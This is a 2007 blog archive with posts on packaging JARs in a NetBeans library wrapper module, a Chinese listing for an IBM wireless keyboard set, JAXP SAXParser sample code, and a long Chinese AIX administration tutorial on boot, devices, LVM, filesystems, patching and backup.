Friday, July 13, 2007

I need to package some third party libraries with my module. How do I do that?

Generally if it's a third party library (you didn't write it, you can't or don't want to change it), you will want to use a wrapper module. An NBM file (a module packaged for delivery over the net) can contain more than one jar, so all your libraries can be included in a single file that packages your module.

Note you can multi-select JARs in the New Library Wrapper Module wizard.

Advanced stuff

You can add libraries manually to a standard module; or add additional libraries to an existing library wrapper module. The relevant data is in the project.xml for the module. What you would do is add entries similar to this one for each JAR.


ext/hexedit.jar
release/modules/ext/hexedit.jar

Note if you want these libraries to be usable outside of the module they're declared in, then you must add the relevant packages to the list of public packages for that module.

Wednesday, July 11, 2007

IBM 工包 SK-8812

10米都能用 工包IBM无线键鼠套装到货
接收器

套装中的8812鼠标表面使用了肤质材料,细腻的磨砂质感表面带来了舒适的手感。鼠标的按键弹性强、键程适中、声音清脆,使用感受比较出色。

IBM SK-8812无线键鼠套装使用2.4GHz的无线频率,最大使用距离10米,完全可以满足用户的使用需求,做工扎实,性能也不错,有意的朋友应该留意一下。

IBM 工包 SK-8812
[参考价格] 468元
[联系方式] 鼎好电子城地下一层B1105(010-82697705)
[报价查询] 键鼠套装产品报价 IBM键鼠套装产品报价

Tuesday, July 10, 2007

JAXP 专述

清单 2. 使用 JAXP SAXParser
 //获得SAXP的一个实例
SAXParser saxParser = saxFactory.newSAXParser();
//查看是否支持 Validate 选项
boolean isValidating = saxParser.isValidating();
//查看是否支持 namespace 选项
boolean isNamespaceAware = saxParser.isNamespaceAware();
// 运用一个File 和一个SAX HandlerBase 的实例进行多种形式的语法分析
saxParser.parse(new File(args[0]), myHandlerBaseInstance);
// 运用一个 SAX InputSource实例 和一个 SAX HandlerBase 实例
saxParser.parse(mySaxInputSource, myHandlerBaseInstance);
//运用一个 InputStream 实例和一个SAX HandlerBase 实例
saxParser.parse(myInputStream, myHandlerBaseInstance);
// 运用一个 URI 和一个SAX HandlerBase 实例
saxParser.parse("http://www.newInstance.com/xml/doc.xml", myHandlerBaseInstance);
//获得底层的(封装)SAX 语法分析器
org.xml.sax.Parser parser = saxParser.getParser();
//利用底层的语法分析器
parser.setContentHandler(myContentHandlerInstance);
parser.setErrorHandler(myErrorHandlerInstance);
parser.parse(new org.xml.sax.InputSource(args[0]));

目前为止,关于 SAX 已经讲了很多,但是还没有揭示任何不寻常或令人惊奇的东西。事实上,JAXP 的功能很少,特别是当 SAX 也牵涉进来时。这很好,因为有最少的功能性意味着代码可移植性更强,并可以由其他开发人员与任何与 SAX 兼容的 XML 语法分析器一起使用,无论是免费(通过开放源码,希望如此)还是通过商业途径。就是这样。在 JAXP 中使用 SAX 没有更多的东西。如果已经知道 SAX,那么现在已经掌握大约 98% 的内容。只需学习两个新类和两个 Java 异常,您就可以开始了。如果从没使用过 SAX,那也很简单,现在就可以开始。

Sunday, July 08, 2007

AIX中级教程

AIX中级教程
================
一、IBM服务器概述
================
1、IBM服务器概述
1.1、IBM服务器家族分类
IBM的服务器经过整合后统称eServer,在eServer下又分为以下几个子系列,分别是:
xSeries--基于 Intel 架构的服务器;
基于 AMD 架构的服务器;
BladeCenter 刀片服务器 ;
pSeries--UNIX 服务器,RS/6000的后续系列(本文讨论重点) ;
iSeries--中型企业级服务器,AS/400的后续系列;
zSeries--大型主机,S390的后续系列;

1.2、P系列服务器介绍
p系列服务器是IBM在市场上主推的Unix服务器系列,整个P系列服务器按性能从高到低主要有以下几个型号:
p610:1-2 路高扩展性入门级服务器
p630:1-4路POWER4+ UNIX服务器,支持动态逻辑分区
p650:1-8路UNIX服务器,采用POWER4芯片,支持动态逻辑分区
p670:4-16路处理器的新生代UNIX服务器
p690:8-32路POWER4双CPU芯片,单机提供16个逻辑分区

这三个型号的服务器又可以分为以p650为代表的应用服务器和以p670/690为代表的企业级服务器。
由于现在的系统多是采用三层或多层结构,以中间件为主要应用的应用服务器一般采用横向扩展的方式,
也就是加服务器的方式来提高性能。

而以Oracle数据库和SAP系统为代表的企业服务器一般采用纵向扩展的方式,也就是加CPU和内存来提高性能。
所以在选型的时候要注意两者的区别,规划好企业的系统架构。

1.3、IBM的分区技术
分区技术是IBM和HP系列区别比较大的地方,HP主要是硬件分区而IBM主要是软件分区--动态逻辑分区。
IBM的动态逻辑分区其本质是一种软件分区,在p670/690系列上最多可以做到16个分区,颗粒度可达到1个cpu,并且每个分区可以运行不
同的操作系统。

2.1、HP系列服务器介绍
HP在号称是世界Unix服务器市场占有率第一,据考证确有其事。
下面介绍这次选型所遇到的3款服务器:
rp7410:2~8 CPUs
rp8400:2~16 CPUs
Superdome:2~64 CPUs
2.2、HP的分区技术
HP和IBM在分区技术上有较大区别,IBM是软分区而HP是硬分区。两家采用不同的分区技术是和系统结构有关,HP是基于Cell板的体系结构,
每块Cell板上有4个cpu插座,每个硬件分区的最小单位是一个Cell板。这种分区方式不是很灵活,但是由于是硬分区,普遍认为比软分区
要稳定可靠。不过硬件分区的缺点就是不灵活,如果要改变分区系统就必须重启。HP也有软件分区,不过Oracle的许可证机制不能识别HP
的软分区只认识硬分区中的cpu数量,按cpu购买Oracle许可证的用户可要注意了。不过据IBM说Oracle能够正确识别IBM的软分区。
2.3、HP系统软件
HP在软件方面不如IBM那么有实力,HP除了自己的操作系统HP-UX11i之外没有别的其他软件,不过这在TPC测试中倒是帮了忙,在HP上跑的
系统都是第三方的软件,让人觉得它的得分比较客观。而IBM则可以全部都用自己的东西跑测试。在这一点上,不知道该说IBM不够开放还
是够强势。
2.4、HP的CPU发展规划
HP现在有四类CPU,分别是Alpha、PA-RISC、IA-32/64和Itanium2。不过据HP自己介绍说,目前Alpha系列已经不再开发,将于2005年停产。
而PA-RISC系列到目前的875MHz也已经是最高主频了,下一代PA-RISC将会采用类似于IBM的多内核技术在一块芯片中集成2路CPU。HP将来会
全面转向Itanium2系列CPU,并且保证从PA-RISC到Itanium2的二进制兼容。

=============
二、6000系统管理
=============
1.设置图形终端,在服务器端设置DISPLAY环境变量
^^客户端IP ^可以在客户端显示图形的用户
|| |
export DISPLAY=192.168.2.250:0.0
在192.168.2.250客户机安装有xwin server或其它图形软件,再登陆到服务器上,执行一些图形命令,就会将图形显示在192.168.2.250的客户终端上了

可以用xhost +将当前本机设置为图形终端服务器
xhosts + 192.168.2.250,设置192.168.2.250为图形终端服务器
xhosts - 192.168.2.250 去除该机器作为图形服务器
可以在图形终端登陆到服务器中输入xclock做图形测试

2.su user 与 su - user的区别
su user使用先前用户的环境变量



==============
三、修改内核参数
==============
smit chgsys建议不做

4.
/var/adm/sulog
每次用户使用了su命令,都可以在该文件中查找到,可以用他来发现某些用户的不良企图,及作案时间
+表示登陆成功
-表示登陆失败
cat /var/adm/sulog
su 06/30 09:35 + pts/1 root-thomasc
在06/30 09:35某用户从root登陆到thomasc用户下,并成功登陆
su 06/30 09:45 - pts/1 ostach-root
06/30 09:45某用户从ostach下登陆到root用户下失败

5.
/var/adm/wtmp
可以看所有的用户的登陆信息
who /var/adm/wtmp

adm用户无法登陆,但是可以su - adm来使用adm权限
如在adm下的crontab中有记录sar历史

6.smit,smitty工具
smit图形化
smitty字符化
smit 操作类型
smit -x 没有执行权限
7.ODM
对象库管理
保存关于设备、软件、机器配置等信息

8.非bash,使用快捷方式
set -o vi
jk...作为快捷键


9.语言环境
launch

10.wsm
web_based system manager

11.aix只运行安装在P6000(POWER CPU)系列的及安腾CPU的系统上

12.oslevel
操作系统版本号
bash-2.05a$ oslevel
5.1.0.0
+====================+
|四、系统的启动和关机|
+====================+
1.默认以normal模式启动
按F1到sms模式(system management services)
设置firmware(bios)+启动列表

2.丢失root密码,可以改变启动模式,从cd来启动,恢复root密码
也可以使用mksysb来恢复

你需要进入维护模式

3.
alog -o -t boot
查看启动信息

4.启动信息
alog -o -t boot
cat /var/adm/ras/bootlog

5.NIM
网络安装

6.运行级别

0-9 当 init 命令更改为运行级别 0-9 时,它杀死当前运行级别的所有进程,然后重新启动与新运行级别相关的任何进程。
0-1 为操作系统保留以供将来使用。
2 缺省运行级别。
3-9 可以根据用户的首选项来定义。
a、b、c 当 init 命令请求更改为运行级别 a、b 或 c 时,它不杀死当前运行级别的进程;它仅仅启动用新的运行级别分配的任何进程。
Q、q 告知 init 命令重新检查 /etc/inittab 文件。

系统启动时默认的级别由inittab中的initdefault指定
init:2:initdefault:

etty 进程特别重要,因为它控制系统控制台和其它登录的终端线访问。请确保在所有运行级别中启用了 getty 进程。


init 运行级别会运行相应目录下的S/K脚本
如:
init 4
/etc/rc.d/rc2.d
/etc/rc.d/rc3.d
/etc/rc.d/rc4.d ==>执行该目录下的启动脚本
/etc/rc.d/rc5.d
/etc/rc.d/rc6.d
/etc/rc.d/rc7.d
/etc/rc.d/rc8.d
/etc/rc.d/rc9.d

以 K 开头的脚本是停止脚本,而以 S 开头的脚本是启动脚本。

如:
bash-2.05b$ more S70lpd
#!/bin/ksh

##################################################
# name: S70lpd
# purpose: sample script that start or stop lpd daemon.
##################################################

case "$1" in
start )
startsrc -s lpd
;;
stop )
stopsrc -s lpd
;;
* )
echo "Usage: $0 (start | stop)"
exit 1
esac

7.inittab
格式=id:runlevel:action:command
tty002:2:respawn:/usr/sbin/getty /dev/tty2
:: ==>任何模式都执行
sysinit ==>该进程在系统启动时运行一次
initdefault ==>指定系统的默认运行等级
wait ==>只激活一次,init等待该进程,直到该进程结束。
powerfail ==>init进程收到SIGPWR信号下运行的进程,PS电源在电源发生问题时会向该进程发送SIGPWR信号
respawn ==>一直运行服务,当该进程终止时自动启动。
once ==>该进程只运行1次
off ==>不激活
在rc.boot 3阶段
l6:6:wait:/etc/rc.d/rc 6 在改变level时执行的脚本.wait表示,只有执行完这个程序,并结束后才会执行下一行.

常用下面的命令来查看和修改该文件
lsitab Lists records in the /etc/inittab file.
mkitab Adds records to the /etc/inittab file.
rmitab Removes records from the /etc/inittab file.



8.关机
shutdown
shutdown +2 2分钟后关机
shutdown -Fr强制关机并重起
shutdown -m 单用户关闭
8.关机顺序
/etc/rc.shutdown
杀掉用户进程
停止系统服务进程
卸载文件系统
停止处理器

9.错误信息
errpt
errpt -a 具体细节
errclear 0 --清理信息
正常信息也可以由errpt输出


10.启动停止服务
查服务状态
lssrc -g 组名

启动一个系统服务
startsrc -s lpd
启动telnet
startsrc -t telnet

ftp->telnet...=>inetd
vi /etc/inetd.conf

修改后要执行refresh

停止服务stopsrc -s ldp
stopsrc -t telnet

11.kill
默认是-1:即等待进程运行完了,再杀
-9:强制杀进程

12.自动shutdown脚本
vi /etc/rc.shutdown

13.改变系统环境
语言环境
locale

14.stty -echo
不显示信息到屏幕

+=================+
|五、AIX内存优化 |
+=================+
http://publib.boulder.ibm.com/doc_link/en_US/a_doc_lib/aixbman/prftungd/2365c71.htm


+=================+
|六、DEVICES |
+=================+
配置设备
1.使用cfgmgr命令可以配置设备
2.b块设备->文件系统->有os buffer
c字符设备->裸设备
任何逻辑卷都对应字符设备和块设备

3.
预定义设备:
所有系统可能支持的设备
自定义设备:
所有在系统中已经定义的或者已经安装有效的设备

4.
lsdev
-P -H查看预定义设备的情况
-Pc 查看指定的自定义设备的情况
-C 查看自定义设备的情况
-bash-2.05b$ lsdev -P -H
class type subclass description

logical_volume vgtype vgsubclass Volume group
logical_volume lvtype lvsubclass Logical volume
lvm lvdd lvm LVM Device Driver
aio aio node Asynchronous I/O
pty pty pty Asynchronous Pseudo-Terminal
memory L2cache_rspc sys L2 Cache
memory totmem sys Memory

...


-bash-2.05b$ lsdev -C
sys0 Available 00-00 System Object
sysplanar0 Available 00-00 System Planar
pci0 Available 00-400000000110 PCI Bus
pci1 Available 00-400000000111 PCI Bus
pci2 Available 00-400000000112 PCI Bus
5.lsattr
查看系统所有内核信息
lsattr -EH -l sys0
sys0是内核
-bash-2.05b$ lsattr -EH -l sys0
attribute value description user_settable

keylock normal State of system keylock at boot time False
maxbuf 20 Maximum number of pages in block I/O BUFFER CACHE True
maxmbuf 0 Maximum Kbytes of real memory allowed for MBUFS True
maxuproc 128 Maximum number of PROCESSES allowed per user True
autorestart false Automatically REBOOT system after a crash True
iostat false Continuously maintain DISK I/O history True
realmem 4194304 Amount of usable physical memory in Kbytes False


查看内存使用情况
bash-2.05a$ lsattr -EH -l sys0 -a realmem
attribute value description user_settable

realmem 8388608 Amount of usable physical memory in Kbytes False

6.lscfg -v
所以设备配置信息
-bash-2.05b$ lscfg -v
INSTALLED RESOURCE LIST WITH VPD

The following resources are installed on your machine.

Model Architecture: chrp
Model Implementation: Multiple Processor, PCI bus

sys0 00-00 System Object
sysplanar0 00-00 System Planar
mem0 00-00 Memory
proc0 00-00 Processor

Device Specific.(YL)........U0.1-P1-C1

L2cache0 00-00 L2 Cache
proc1 00-01 Processor

Device Specific.(YL)........U0.1-P1-C1

pci0 00-400000000110 PCI Bus

Device Specific.(YL)........U0.1-P2

isa0 1G-18 ISA Bus

Device Specific.(YL)........U0.1-P2

fda0 01-D1 Standard I/O Diskette Adapter

Device Specific.(YL)........U0.1-P2/D1

fd0 01-D1-00-00 Diskette Drive
siokma0 01-K1 Keyboard/Mouse Adapter

Device Specific.(YL)........U0.1-P2/K1

sioka0 01-K1-00 Keyboard Adapter
kbd0 01-K1-00-00 PS/2 keyboard
sioma0 01-K1-01 Mouse Adapter
mouse0 01-K1-01-00 3 button mouse
sa0 01-S1 Standard I/O Serial Port

Device Specific.(YL)........U0.1-P2/S1

sa1 01-S2 Standard I/O Serial Port

Device Specific.(YL)........U0.1-P2/S2

sa2 01-S3 Standard I/O Serial Port

Device Specific.(YL)........U0.1-P2/S3

sa3 01-S4 Standard I/O Serial Port

Device Specific.(YL)........U0.1-P2/S4

pci1 00-400000000111 PCI Bus

Device Specific.(YL)........U0.1-P2

pci3 1Y-10 PCI Bus

Device Specific.(YL)........U0.1-P2

scsi0 1Z-08 Wide/Ultra-3 SCSI I/O Controller

Device Specific.(YL)........U0.1-P2/Z1

cd0 1Z-08-00-1,0 16 Bit LVD SCSI DVD-ROM Drive (4700
MB)

Manufacturer................IBM
Machine Type and Model......DROM00203
ROS Level and ID............7R43
Device Specific.(Z0)........058002028F000030
Part Number.................53P1834
EC Level....................H63162
FRU Number..................53P2799

hdisk0 1Z-08-00-8,0 16 Bit LVD SCSI Disk Drive (146800
MB)

Manufacturer................IBM
Machine Type and Model......IC35L146UCDY10-0
FRU Number..................00P3835
ROS Level and ID............53323846
Serial Number...............ECVT4UZC
EC Level....................H32224
Part Number.................08K0273
Device Specific.(Z0)........000003029F00013A
Device Specific.(Z1)........07N4972
Device Specific.(Z2)........0068
Device Specific.(Z3)........04064
Device Specific.(Z4)........0001
Device Specific.(Z5)........22
Device Specific.(Z6)........

hdisk1 1Z-08-00-9,0 16 Bit LVD SCSI Disk Drive (146800
MB)

Manufacturer................IBM
Machine Type and Model......IC35L146UCDY10-0
FRU Number..................00P3835
ROS Level and ID............53323846
Serial Number...............ECVTXWDC
EC Level....................H32224
Part Number.................08K0273
Device Specific.(Z0)........000003029F00013A
Device Specific.(Z1)........07N4972
Device Specific.(Z2)........0068
Device Specific.(Z3)........04065
Device Specific.(Z4)........0001
Device Specific.(Z5)........22
Device Specific.(Z6)........


7.rmdev
rmdev -dl 从设备定义状态到预定义状态
或从设备有效状态到预定义状态
rmdev -l 从设备有效状态到自定义的定义状态
也可以使用cfgmgr

8./dev/cd0是cdrom设备
可以用mount -rv cdrfs /dev/cd0 /cdrom

9.设备号
通常在失败时显示在LED中

00 资源附加到处理器
01 资源附加到ISA
04 资源附加到PCI
|
AB -CD -EF -GH -->端口号
|
CONNECTOR ID



+=================+
|七、存储 |
+=================+
PP:物理分区:分配给卷组的物理分区大小
LP:逻辑分区:PP的指针,通过他可以将LV跨越不同的磁盘

LV:逻辑卷
PV:物理卷

VG:卷组:类似表空间

1.QUORUM
每个磁盘上都有一个及以上的VGDA(卷组描述区)
QUORUM也就是说一个卷组中的必须超过>=51%以上的VGDA有效才能使用卷组
通常可以不设置,对于做RAC,或者MIRROR不应该做

2.AIX规定
/dev/hd4 /
/dev/hd2 /usr
/dev/hd9var /var
/dev/hd3 /tmp
/dev/hd1 /home
/proc /proc
/dev/hd10opt /opt
/dev/hd6 /pagespace&dump device
/dev/hd7 dump device
/dev/hd8 /log
/dev/hd5 bootlv


3./etc/filesystem
4.mount
...
5.lsfs
查看文件系统
6.lsvg
lsvg -l rootvg
查看卷组中的lv
-bash-2.05b$ lsvg -l rootvg
rootvg:
LV NAME TYPE LPs PPs PVs LV STATE MOUNT POINT
hd5 boot 1 2 2 closed/syncd N/A
hd6 paging 16 32 2 open/syncd N/A
hd8 jfslog 1 2 2 open/syncd N/A
hd4 jfs 1 2 2 open/syncd /
hd2 jfs 12 24 2 open/syncd /usr
hd9var jfs 1 2 2 open/syncd /var
hd3 jfs 2 4 2 open/syncd /tmp
hd1 jfs 1 2 2 open/syncd /home
hd10opt jfs 33 66 2 open/syncd /opt
lg_dumplv sysdump 4 4 1 open/syncd N/A
oracleinstall jfs2 64 64 1 open/syncd /oracle
loglv01 jfs2log 1 1 1 open/syncd N/A
|
是否镜像,PV的个数

-bash-2.05b$ lsvg -p datavg --查看物理磁盘
datavg:
PV_NAME PV STATE TOTAL PPs FREE PPs FREE DISTRIBUTION
hdisk2 active 546 333 19..00..96..109..109
hdisk3 active 546 334 07..00..109..109..109
||
^^
柱面分布
中间部分性能较好
早期的小硬盘外层较好

lsvg -o --只显示已经varyonvg(激活的)卷组


-bash-2.05b$ lsvg datavg --查看卷组的细节
VOLUME GROUP: datavg VG IDENTIFIER: 0052db8d00004c00000000fe2103f6b6
VG STATE: active PP SIZE: 256 megabyte(s) --物理分区的大小
VG PERMISSION: read/write TOTAL PPs: 1092 (279552 megabytes)
MAX LVs: 256 FREE PPs: 667 (170752 megabytes) --空闲空间
LVs: 33 USED PPs: 425 (108800 megabytes)
OPEN LVs: 22 QUORUM: 1 --没有使用
TOTAL PVs: 2 VG DESCRIPTORS: 3
STALE PVs: 0 STALE PPs: 0
ACTIVE PVs: 2 AUTO ON: yes
MAX PPs per PV: 1016 MAX PVs: 32
LTG size: 128 kilobyte(s) AUTO SYNC: no
HOT SPARE: no

7.lslv lvname
查看逻辑卷
lslv -l
-bash-2.05b$ lslv -l rsino_indx02
rsino_indx02:N/A
PV COPIES IN BAND DISTRIBUTION
hdisk3 016:000:000 0% 016:000:000:000:000
||
^^
16个pp

-bash-2.05b$ lslv -m hd3 --查看mirror
hd3:/tmp
LP PP1 PV1 PP2 PV2 PP3 PV3
0001 0224 hdisk0 0228 hdisk1 --使用了两个磁盘
0002 0253 hdisk0 0253 hdisk1

-bash-2.05b$ lslv -m rsino_indx02
rsino_indx02:N/A
LP PP1 PV1 PP2 PV2 PP3 PV3
0001 0031 hdisk3
0002 0032 hdisk3
0003 0033 hdisk3
0004 0034 hdisk3
0005 0035 hdisk3
0006 0036 hdisk3
0007 0037 hdisk3
0008 0038 hdisk3
0009 0039 hdisk3
0010 0040 hdisk3
0011 0041 hdisk3
0012 0042 hdisk3
0013 0043 hdisk3
0014 0044 hdisk3
0015 0045 hdisk3
0016 0046 hdisk3
8.lspv
查看物理卷
-bash-2.05b$ lspv --查看物理磁盘
hdisk0 0052db8d1d6c6d1a rootvg
hdisk1 0052db8d20ff9621 rootvg
hdisk2 0052db8d2103e69d datavg
hdisk3 0052db8d2106f554 datavg
-bash-2.05b$
-bash-2.05b$
-bash-2.05b$
-bash-2.05b$ lspv hdisk0 --查看某个磁盘的细节
PHYSICAL VOLUME: hdisk0 VOLUME GROUP: rootvg
PV IDENTIFIER: 0052db8d1d6c6d1a VG IDENTIFIER 0052db8d00004c00000000fe1e0f6c5e
PV STATE: active
STALE PARTITIONS: 0 ALLOCATABLE: yes
PP SIZE: 256 megabyte(s) LOGICAL VOLUMES: 11
TOTAL PPs: 546 (139776 megabytes) VG DESCRIPTORS: 2
FREE PPs: 473 (121088 megabytes) HOT SPARE: no
USED PPs: 73 (18688 megabytes)
FREE DISTRIBUTION: 109..88..58..109..109
USED DISTRIBUTION: 01..21..51..00..00

9.增加卷组
smit mkvg
create vg concurrent capable 在rac/ops设置成YES
LTG logical trace group size --用于调整磁盘IO性能的最大化磁盘允许的传输大小
10.reducevg
去除卷组
smit reducevg2
如果卷组中没有了物理磁盘,可以直接删除卷组
reducevg -f volume group pvname
可以删除卷组中的一个PV
11.extendvg
增加卷组中一个磁盘
extendvg -f vgbane pvname

12.chvg
smit chvg改变一个卷组
13LTG
-bash-2.05b$ lquerypv -M hdisk2
256K

14varyonvg
激活vg
15varyoffvg
offline vg
在export vg时必须先offlinevg

16. mirror vg
smit mklvcopy

注意输入new total number of logical partition copies正确
做完后进行syncvg
syncvg可以修改存储结构,比如lp的指向,存储的柱面

17migratepv
删除pv中的内容
相当于format

18.lvmstat -v datavg

+=================+
|八、文件系统 |
+=================+
1.ls
ls -li /home
查看inode信息
2.fragment size
可以在建立文件系统时指定fragment size,
+==============+
| |4096byte|
+==============+
|2000b|
used
如果fragment size=4096,那么其他文件就不能使用该页了
如果fragment size=1024,那么还可以被使用

3.journal log只记录inodes

4.fuser
可以查看某个目录或者文件,哪位用户和进程在使用
bash-2.05b$ fuser /oracle/product/9.2.0
/oracle/product/9.2.0: 36372c
fuser -k /home/... --可以直接杀除该用户



+=================+
|九、空间管理 |
+=================+
/var/spool
/var/adm/wtmp
/$HOME
...
1.skulker
清理不想要使用的文件


2.空间使用排序
du -sk *|sort -n +1

3.fsck
类似于scandisk

+=================+
|十、交换分区 |
+=================+
1.在大于2G内存的通常交换区可以是内存的大小
2.小于2G的内存的通常交换区可以是内存的2倍大小
3.要放到速度最快的磁盘和柱面
4.一个交换区不能跨越pv,但是系统可以有多个交换分区,分布在不同的pv
5.可以用svmon来监控pagespace
6.lsps -a
查看swap
%used 使用瓶径 70%~80%
7.mkps
smit mkps建立交换区
8.chps
smit chps修改交换区
9.
swapoff /dev/pagename
||
^^
rmps pagename
删除交换区

+=================+
|十一、AIX安装 |
+=================+
加电
装入光盘
按F5设置启动序列为光驱

进入安装界面 =>选择安装设置选项
==============
cdromd守护进程
==============
lssrc -s cdromd


查看系统内核
$ bootinfo -y [reports the hardware type]
$ bootinfo -K [reports the kernel type]

另一种方法
$ ls -l /usr/lib/boot
lrwxrwxrwx 1 root system 21 Aug 02 2004 unix -> /usr/lib/boot/unix_mp --link的是mp
-r-xr-xr-x 1 root system 8386253 Oct 02 2003 unix_64
-r-xr-xr-x 1 root system 8070143 Oct 02 2003 unix_mp

unix_mp是32位多CPU
unix_64是64位多CPU
unix_up是32位单CPU


64位的软件也可以用在32系统
1.包的定义
lpp(bos)产品集合=>文件集的集合=>文件集=>后缀
|... |...
bos=>基本的操作系统集
后缀:
adt ==== 应用开发包
com
data ==== /usr/share中的文件集
dev
diag ==== 诊断文件集
fnt ==== 字体集
info
help
loc
mp
msg
rte
smit
ucode
up

2.查找应用包patches
lslpp -l bos.*
3.instfix
instfix 命令允许安装一个或一套补丁而不用知道任何信息,除了标识该补丁的“授权程序分析报告”(APAR)号或其它唯一关键字。
任何补丁都可能有组成该补丁的一个或多个文件集。补丁信息组织在安装介质的目录表(TOC)内。在安装补丁后,它的信息就保存
在系统中的一个补丁数据库里。
instfix 命令也可以用来确定是否要在系统中安装补丁。

注:instfix 命令的返回码记录在 /usr/include/inuerr.h 文件中,该文件随 bos.adt.include 文件集一起提供。
也有为 1 的一般错误代码和一个来自 /usr/include/errno.h 的对 EACCES(13)的引用。

-a 显示与补丁相关的症状文本。可以与 -i、-k 或者 -f 标志相结合。
-c 显示以冒号隔开的输出以供 -i 标志使用。输出包括关键字名、文件集名、需要的级别、安装的级别、状态和摘要。状态值是:
-
当机级别
=
正确级别
+
取代
!
不安装
-d Device 指定输入设备。所有的标志都要求这一点,除了 -i 和 -a。
-F 除非所有与补丁相关的文件集都安装了,否则返回失败。
-f 文件 指定包含关键字或者补丁的输入文件。用 -(破折号)作为标准输入。-T 标志为 -f 生成了一个适当的输入文件格式。
-i 显示是安装了补丁还是关键字。用 -k 或者 -f 标志来调用这个标志。当使用 -i 标志时不应尝试安装。如果没有指定 -k 或者 -f 标志,就会显示所有已知的补丁。
-k Keyword 指定要安装的 APAR 号或者关键字。可以输入多个关键字。输入时带 -k 标志的关键字列表必须包含在引号里面并且用空格隔开。
-M Platform 指出任何 Platform 的值都可以用来列出那个平台的补丁。
R
仅仅指定基于 POWER 的平台补丁。
N
指定一个中立补丁,也就是说这个补丁不限制在基于 POWER 的平台上。
A
指定所有的补丁。
-p 显示与关键字相关的文件集。这个标志和 -k 或者 -f 标志一起使用。当使用 -p 标志时,不应尝试安装。
-q 指定安静方式。这个标志和 -i 标志一起使用。如果使用 -c 标志,那么就不会显示标题,否则就不会有输出。
-s String 在包含指定字符串的介质上查找和显示补丁。
-S 当安装设备是 CD-ROM 时要禁止多个卷处理。从 CD_ROM 安装总被当作一个独立的卷,即使 CD-ROM 包含多个 CD 卷设置的信息。如果设置了 INU_SINGLE_CD 环境,则执行对多卷处理的相同的禁止。
-T 显示目前在介质上所有的补丁列表。
-tType 它和 -i 标志一起使用以限制查找为一个指定的类型。有效类型是:
f
补丁
p
预防性维护
-v 和 -i 标志一起使用以指定详细方式。显示和补丁或关键字相关的每个文件集的信息。


instfix -i --查看所有的patch
检查patch包信息
instfix -ivk IY30927

安装patch
instfix -k IX38794 -d /dev/rmt0.1 --安装包的位置

+=================+
|十二、备份与恢复 |
+=================+
磁带设备
rmt0

磁带控制命令
tctl
倒带操作

裸设备不能备份,只能DD

1.mksysb
用于备份rootvg
没有mount成文件系统的不能备份
保存了lv的策略
保存了pagespace定义
保存了节点块大小
2./image.data=>rootvg
可以使用编辑该文件来改变lv/vg的物理属性

bash-2.05b$ cat image.data
...
lv_data:
VOLUME_GROUP= rootvg
LV_SOURCE_DISK_LIST= hdisk0 hdisk1
LV_IDENTIFIER= 005fee6c00004c00000000fe1dec4560.1
LOGICAL_VOLUME= hd5
VG_STAT= active/complete
TYPE= boot
MAX_LPS= 512
COPIES= 2
LPs= 1
STALE_PPs= 0
INTER_POLICY= minimum
INTRA_POLICY= edge
MOUNT_POINT=
MIRROR_WRITE_CONSISTENCY= on/ACTIVE
LV_SEPARATE_PV= yes
PERMISSION= read/write
LV_STATE= closed/syncd
WRITE_VERIFY= off
PP_SIZE= 256 ==>24 修改该值时,恢复操作可以改变lv的属性
SCHED_POLICY= parallel
PP= 2
该文件可以使用mkszfile来创建

3.mkszfile
4./bosinst.data
该文件可以CP到MKSYSB所建立的磁带上,使得不同的硬件可以使用该备份

5.smit savevg
非rootvg的备份
/vg.data

6.rootvg的恢复
进入安装维护模式
选择3.start Maintenance Mode for System Recovery
=>install from a system Backup
=>tape/scsi/4mm/2GB /dev/rmt0
=>Change/Show Installation Settings and Install
=>Disk where you want to install
需要预先指定启动设备列表
bootlist -om normal 可以显示

7. 非rootvg恢复
smit restvg

8.查看备份信息
# lsmksysb -B

9.mkcd 命令

用途
从 mksysb 或 savevg 备份映像创建一个(或多个)多卷的 CD。

10.restvg
restvg 命令恢复用户卷组以及所有它的容器和文件,正如 /tmp/vgdata/vgname/vgname.data 文件中指定的那样(其中 vgname 是卷组名),该文件包含在 savevg 命令创建的备份映像中。

restvg 命令恢复用户卷组。 bosinstall 例程重新安装 root 卷组(rootvg)。如果 restvg 命令在备份映像遇到 rootvg 卷组, restvg 命令退出且带有一个错误。

如果 yes 值已经在 /tmp/vgdata/vgname/vgname.data 文件的 logical_volume_policy 节的 EXACT_FIT 字段指定,restvg 命令使用映射文件保持每个逻辑卷的物理分区的放置。目标磁盘必须是相同大小或者更大,然后源磁盘在 vgname.data 文件的 source_disk_data 节指定。

注:
在备份映像查看文件或从备份映像恢复个别的文件,用户必须分别使用带有 -T 或 -x 标记的 restore 命令。(参考 restore 命令获得更多信息。)
标志

-b Blocks 指定读入到单一输入操作的 512 字节块的数量。如果参数未指定,restore 命令使用缺省值 100。至磁带设备的物理传输越大,值越大。
DiskName... 指定要使用的设备名而不是在 vgname.data 文件中列出的磁盘设备。目标磁盘设备必须定义为空物理卷;即,它们必须包含物理卷标识符并且不属于卷组。如果目标磁盘设备是新的,则必须使用 mkdev 命令将它们添加到系统。如果目标磁盘设备属于卷组,则必须使用 reducevg 命令从卷组中将它们除去。
-d FileName -d 标志是可选的标志,如果指定,必须后跟文件名。该文件用来作为 vgname.data 文件使用,而不是正在恢复的备份映像所包含的文件。文件名既可以由相对路径名指定,又可以由绝对路径名指定。
-f Device 指定备份介质的设备名。缺省值是 /dev/rmt0。
-l 显示关于卷组备份的有用信息。
该标志需要 -f device 标志。该标志导致 restvg 显示信息,如卷组、备份的日期和时间、从备份系统得到输出的 uname、操作系统级别、推荐的维护级别、以兆字节为单位的备份大小以及以兆字节为单位的备份压缩大小。压缩大小是所有文件系统上数据的大小。全部的大小是每个文件系统(未用的 + 数据)的整个大小。 -l 标志也显示逻辑卷和备份卷组的文件系统信息,这等价于运行“lsvg -l vgname”。

-n 指定忽略存在的 MAP 文件。-n 标志重设 vgname.data 文件的 logical_volume_policy 节中的 EXACT_FIT 字段的值。
-P PPsize 指定每个物理分区的兆字节数。如果未指定, restvg 依据正在恢复的最大磁盘,为 PPsize 使用最优值。如果该值与在 vgname.data 文件中指定的大小不同,在每个逻辑卷的分区数将根据新的 PPsize 适当的改变。
如果对于磁盘大小来说,PPsize 指定的值比适当的值小,那么使用较大的 PPsize。

如果对于磁盘大小来说,PPsize 指定的值比适当的值大,那么使用指定的较大的 PPsize。

-q 指定在卷组映像恢复以前,通常的提示不显示。如果该标志未指定,提示显示卷组名和目标磁盘设备名。
